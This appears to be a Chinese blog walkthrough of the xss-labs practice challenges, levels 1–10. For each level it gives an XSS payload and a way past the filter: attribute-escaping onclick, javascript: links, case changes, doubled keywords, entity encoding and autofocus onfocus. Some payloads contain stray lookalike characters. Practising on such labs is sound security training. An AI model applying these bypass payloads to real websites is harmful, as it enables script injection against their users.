xss-labs解答

下载xss-labs到www目录下

在xp上创建网站

需要访问时打开apchi和mysql

level-1

网络源代码

网页源码里是有个alert函数,触发就能通关

用< svg οnclick="alert(1)" >

level2

先随便数个1

用payload逃出这个引号内容,然后调用alert函数

" οnclick="alert(1)

点击框完成

level3

也随便输一个

变成了''答案改为''就行

level4

试试" οnclick="alert(1)

竟然行了

level5

继续用" οnclick="alert(1)发现onclick被破坏

换个方法"><a href="javascript:alert(1)">test</a>

创建一个超链接

点击test完成

level6

继续使用上一关方法

href被破坏,那就试试大小写

可以了😀

level7

这次更狠,给href和script给删掉了,大小写也没用

可以试试双拼"><a hrhrefef=javasscriptcript:alert()>test</a>

可以看到他只屏蔽了一个href和script

level8

加个链接发现又被破坏了

它在我们script的中间加了个_ ,那我们就把r和i换成编码

复制代码
javasc&#114;&#105;&#10;pt:alert()

level9

说我们链接不合法,就是链接不规范,加上http://

又被破坏,换成编码,因为要有http://,只有它失效才能执行JavaScript:alert()的弹窗效果,但是不能删了他,要利用它过掉过滤,用/* */把他注释掉

复制代码
javasc&#114;&#105;&#10;pt:alert()  /* http:// */

level10

发现没有框

都试一下

发现只有sort有用

复制代码
直接用t_sort=" onfocus="alert()" autofocus="" type="text自动聚焦套框
相关推荐
CANI_PLUS9 分钟前
ESP32将DHT11温湿度传感器采集的数据上传到XAMPP的MySQL数据库
android·数据库·mysql
来来走走1 小时前
Flutter SharedPreferences存储数据基本使用
android·flutter
安卓开发者2 小时前
Android模块化架构深度解析:从设计到实践
android·架构
雨白3 小时前
HTTP协议详解(二):深入理解Header与Body
android·http
阿豪元代码3 小时前
深入理解 SurfaceFlinger —— 如何调试 SurfaceFlinger
android
阿豪元代码3 小时前
深入理解 SurfaceFlinger —— 概述
android
CV资深专家5 小时前
Launcher3启动
android
stevenzqzq5 小时前
glide缓存策略和缓存命中
android·缓存·glide
雅雅姐5 小时前
Android 16 的用户和用户组定义
android
没有了遇见6 小时前
Android ConstraintLayout 之ConstraintSet
android